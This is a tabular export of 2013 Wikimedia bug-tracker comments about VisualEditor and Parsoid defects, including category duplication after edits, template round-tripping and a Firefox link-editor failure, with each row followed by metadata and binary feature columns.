+246515,VisualEditor: Transclusions not properly round-tripped,The nowiki escaping in Schuylar_Oordt is Parsoid bug 50144. It would normally be hidden with selective serialization.,,,1372123167,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2hl7ewtzlnhd3pk5gn7t,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+246508,VisualEditor: Transclusions not properly round-tripped,"Some more examples from https://en.wikipedia.org/w/index.php?namespace=&tagfilter=visualeditor&title=Special%3ARecentChanges:
+
+https://en.wikipedia.org/w/index.php?title=Eugenio_Fojo&curid=33949576&diff=561434486&oldid=561304103
+https://en.wikipedia.org/w/index.php?title=Schuylar_Oordt&curid=37614262&diff=561438828&oldid=561406705",,,1372120806,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-2hl7ewtzlnhd3pk5gn7t,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0
+52120,Categories/default sort sometimes duplicated to random position in DOM after edit,"https://en.wikipedia.org/w/index.php?title=Dina_bint_%27Abdu%27l-Hamid&diff=561398396&oldid=561397974
+
+I added a single letter (""therafter"" --> ""thereafter""). VisualEditor duplicated the categories and the default sort.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50385
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50332
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54169",Unbreak Now!,100.0,1372100100,1373500285.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-cl3n6ut5q64yapdxwsov,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1
+245935,Categories/default sort sometimes duplicated to random position in DOM after edit,"The Parsoid fix is deployed. The P-wrapping portion is verified fixed on our test case [[Tim_Gartrell]].
+
+The VE newline migration should be tracked in a different bug. Closing this bug as fixed.",,,1373500285,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+245932,Categories/default sort sometimes duplicated to random position in DOM after edit,"Change 73113 merged by jenkins-bot:
+Bug 50120: Avoid paragraph wrapping for DOM fragments with blocks
+
+https://gerrit.wikimedia.org/r/73113",,,1373497930,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245929,Categories/default sort sometimes duplicated to random position in DOM after edit,"Change 73113 had a related patch set uploaded by GWicke:
+Bug 50120: Avoid paragraph wrapping for DOM fragments with blocks
+
+https://gerrit.wikimedia.org/r/73113",,,1373494750,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+245926,Categories/default sort sometimes duplicated to random position in DOM after edit,"Subbu, Gabriel and I figured this out on IRC, and Subbu and Gabriel are working on a fix. Summary for the benefit of those following this bug:
+
+* On the first parse (either upon first VE load after the cache is purged, or upon the first edit after the purge), Parsoid parses the PERSONDATA template from scratch (because there is no cached content to reuse) and does so correctly. The output is something like <span>\n</span><table>...</table><link>
+* On the second parse, (first or second edit after cache purge), Parsoid reuses the template expansion from the first parse. It notices that the first (span) and last (link) nodes are both inline, and so it assumes the entire template is inline and wraps it in a <p>
+* The browser receives this HTML and is unhappy about the <table> inside the <p>, so it moves both the <table> and the <link> out of the <p>, leaving <p><span>\n</span></p><table>...</table><link>. Because the table is not a sibling of the span, VE doesn't recognize the table (or the link) as part of the template. Due to a separate bug in VE, the newline after the link is moved and ends up between the table and the link.
+* VE sends this corrupted HTML back to Parsoid, which freaks out and duplicates the table as well as a bunch of categories.
+* After the page is edited again (possibly by the user saving the corrupted VE output, possibly some other way), the third parse occurs, and Parsoid again tries to reuse the previous parse's expansion of the template. However, because of the <p> interruption, it only sees the span and doesn't see the table or the link. The table and the link disappear from the output in this and all subsequent parses, masking the bug. The user doesn't notice because the table has style=""display:none;""",,,1373494553,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,False,,,1,,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,1,1,0,0,0,1,0,1,0,0,1,1,1,1,0,0,1,1,1,1,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+245920,Categories/default sort sometimes duplicated to random position in DOM after edit,https://en.wikipedia.org/w/index.php?title=Tim_Gartrell&curid=1659124&diff=563696826&oldid=563696785,,,1373484409,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+245911,Categories/default sort sometimes duplicated to random position in DOM after edit,*** Bug 50554 has been marked as a duplicate of this bug. ***,,,1373484208,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+245904,Categories/default sort sometimes duplicated to random position in DOM after edit,"See also: bug 50554, bug 50385.",,,1373484037,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+245897,Categories/default sort sometimes duplicated to random position in DOM after edit,"Another case:
+https://en.wikipedia.org/w/index.php?title=Frederick_Calvert,_6th_Baron_Baltimore&curid=884173&diff=563705563&oldid=563705411
+
+Also updated the subject and moved to VE.",,,1373483575,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245890,Categories/default sort sometimes duplicated to random position in DOM after edit,"That's really strange. The template is one unit in the VE data model, so if <link> tags are placed in the middle of it that must be a bug in the data model -> HTML conversion, not in the data model itself.",,,1373479449,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1
+245884,Categories/default sort sometimes duplicated to random position in DOM after edit,"(In reply to comment #15)
+> So, there may also be a Parsoid issue here about how such templates are
+> parsed.
+
+As long as the content (including ws-only spans) is properly encapsulated that should not be relevant for this corruption.
+
+I have seen VE move categories to random places in the DOM before. Apparently that bug is still alive. And hard to reproduce, sadly.",,,1373476466,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+245878,Categories/default sort sometimes duplicated to random position in DOM after edit,Possibly related: bug 50332.,,,1373476038,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+245873,Categories/default sort sometimes duplicated to random position in DOM after edit,"And, I misspoke. The spans from the template before/after the table are not really ""empty"" -- they have whitespace.  And, the more interesting thing is that these spans do not get the display:none; css style but the table gets it from the style on the table ==> the spans are technically visible (with whitespace ignored in the browser) in VE, but the table is not.
+
+So, there may also be a Parsoid issue here about how such templates are parsed.",,,1373475508,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,1
+245868,Categories/default sort sometimes duplicated to random position in DOM after edit,"This may be a VE bug (unconfirmed).  Here is what I did.
+
+I parsed mw:Jayaprakash Narayan on my local parsoid install and saved the HTML.
+I then added a <link rel=""mw:WikiLink/Category"" href=""Category:foobar""> (a new category essentially mimicking editor behavior), but I added it between the empty span that marks the opening of the Persondata tmeplate and the <table> that is part of the template.  This effectively splits the template and duplicates the rest of the template.
+
+If you look at the diff in https://en.wikipedia.org/w/index.php?title=Jayaprakash_Narayan&diff=563627722&oldid=563627392, all the categories are between the end of the template and the table. The above experiment yielded something similar, except in the diff, all categories are moved up.
+
+So, it does seem that when a user adds categories, new/old categories are being moved/inserted between the empty span and the table breaking the atomic encapsulated template into two.
+
+Also note that this only seems to affect Persondata template 
+* in original wikitext, default sort template immediately follows the persondata template.
+* it has an empty span before/after the table
+* it has display:none set on it which means it doesn't show up in the editor.
+
+Not sure if cursor position affects where categories are inserted.  Can VE folks verify this hypothesis?",,,1373475152,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,1,0,0,1,0,0,1,1,0,0,0,1,1,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+245862,Categories/default sort sometimes duplicated to random position in DOM after edit,"Couple more:
+https://en.wikipedia.org/w/index.php?title=Peter_Biddle&diff=563624872&oldid=563623995
+https://en.wikipedia.org/w/index.php?title=Jayaprakash_Narayan&diff=563627722&oldid=563627392
+
+Based on inspection of recent diffs, I'd call this the single most prevalent and most problematic content corruption issue at this point.",,,1373440943,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,1,0
+245856,Categories/default sort sometimes duplicated to random position in DOM after edit,Note the additional table screw-up in that one. We may need some cross-browser hammering on those revs to see if it's a browser-specific issue.,,,1373439890,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+245852,Categories/default sort sometimes duplicated to random position in DOM after edit,"Another one:
+https://en.wikipedia.org/w/index.php?title=Rick_DePiro&curid=29139774&diff=563628155&oldid=560712931",,,1373439837,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,False,,,1,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1
+245847,Categories/default sort sometimes duplicated to random position in DOM after edit,"Nope, still occurring.
+https://en.wikipedia.org/w/index.php?title=Ma_Huateng&curid=6152047&diff=563628488&oldid=555028382",,,1373439682,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0
+245840,Categories/default sort sometimes duplicated to random position in DOM after edit,"https://en.wikipedia.org/w/index.php?title=Mat_Devine&curid=28997812&diff=563130933&oldid=563130533 looks like a VE bug to me. I can't reproduce it any more (similar to the case in bug 50853), so I am guessing that something in last night's VE deploy fixed this.
+
+Closing as fixed, please reopen if this still happens.",,,1373399973,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,1,1,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0
+245836,Categories/default sort sometimes duplicated to random position in DOM after edit,This may be related to bug 50853 which gabriel is going to be investigating to day.,,,1373303777,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0
+245830,Categories/default sort sometimes duplicated to random position in DOM after edit,"Is this a Parsoid DSR issue? Content getting repeated in this way (especially, the substituted template) is hard to see occurring in VisualEditor.",,,1373301012,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0
+245826,Categories/default sort sometimes duplicated to random position in DOM after edit,"This is still occurring. Most recent example from a few minutes ago:
+
+https://en.wikipedia.org/w/index.php?title=Mat_Devine&curid=28997812&diff=563130933&oldid=563130533",,,1373130413,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0
+245819,Categories/default sort sometimes duplicated to random position in DOM after edit,We believe that this is now fixed (due to fixes in Parsoid). Please re-open if it recurs.,,,1373053343,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+245813,Categories/default sort sometimes duplicated to random position in DOM after edit,https://en.wikipedia.org/w/index.php?title=Miloslav_Ransdorf&curid=1478506&diff=561858255&oldid=561857291 to boot.,,,1372360097,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+245807,Categories/default sort sometimes duplicated to random position in DOM after edit,"Roan, thoughts?",,,1372109030,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+245802,Categories/default sort sometimes duplicated to random position in DOM after edit,https://en.wikipedia.org/w/index.php?title=Richard_Ned_Lebow&diff=561410319&oldid=561410032,,,1372105662,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+245796,Categories/default sort sometimes duplicated to random position in DOM after edit,"Perhaps related to:
+
+| PLACE OF BIRTH    =[Alexandria], [[Egypt]]",,,1372100226,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-cl3n6ut5q64yapdxwsov,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+52115,VisualEditor: Link editor does not work in the reference editor in Firefox,"Self-explanatory; Firefox 21.0, Windows 7.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Unbreak Now!,100.0,1372094820,1372210400.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-fftdwlrkyjt5yc2hamtk,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+245554,VisualEditor: Link editor does not work in the reference editor in Firefox,Fixed and will be going out in a few minutes.,,,1372210400,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fftdwlrkyjt5yc2hamtk,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+245548,VisualEditor: Link editor does not work in the reference editor in Firefox,Patched in: https://gerrit.wikimedia.org/r/#/c/70559/,,,1372202020,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-fftdwlrkyjt5yc2hamtk,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+52110,VisualEditor: Provide way for local wikis to auto-prompt reference templates,"Not sure if this is something that's been nixed and nobody has told me, but: tracking bug for adding cite template support to the VE's referencing setup. They're pretty universally useful.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50768",Unbreak Now!,100.0,1372089360,1395701652.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-qsgca2wst2byl7ix2pwv,task_description,resolved,True,c1,2,False,False,False,-1,,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,0
+245203,VisualEditor: Provide way for local wikis to auto-prompt reference templates,"Change 119913 merged by jenkins-bot:
+Ultra-mega-hyper-citation editing on crack
+
+https://gerrit.wikimedia.org/r/119913",,,1395689846,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qsgca2wst2byl7ix2pwv,task_subcomment,,True,c1,3,False,,,38,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245199,VisualEditor: Provide way for local wikis to auto-prompt reference templates,"Change 119913 had a related patch set uploaded by Jforrester:
+Ultra-mega-hyper-citation editing on crack
+
+https://gerrit.wikimedia.org/r/119913",,,1395363039,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qsgca2wst2byl7ix2pwv,task_subcomment,,True,c1,3,False,,,37,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+245195,VisualEditor: Provide way for local wikis to auto-prompt reference templates,*** Bug 51185 has been marked as a duplicate of this bug. ***,,,1377829415,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qsgca2wst2byl7ix2pwv,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+245189,VisualEditor: Provide way for local wikis to auto-prompt reference templates,"(In reply to comment #2)
+> For clarification: I'll assume that this is about what you put _inside_ the
+> <ref> tags and not about templates that add the <ref> tags themselves.
+
+Correct.",,,1374859109,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qsgca2wst2byl7ix2pwv,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,1
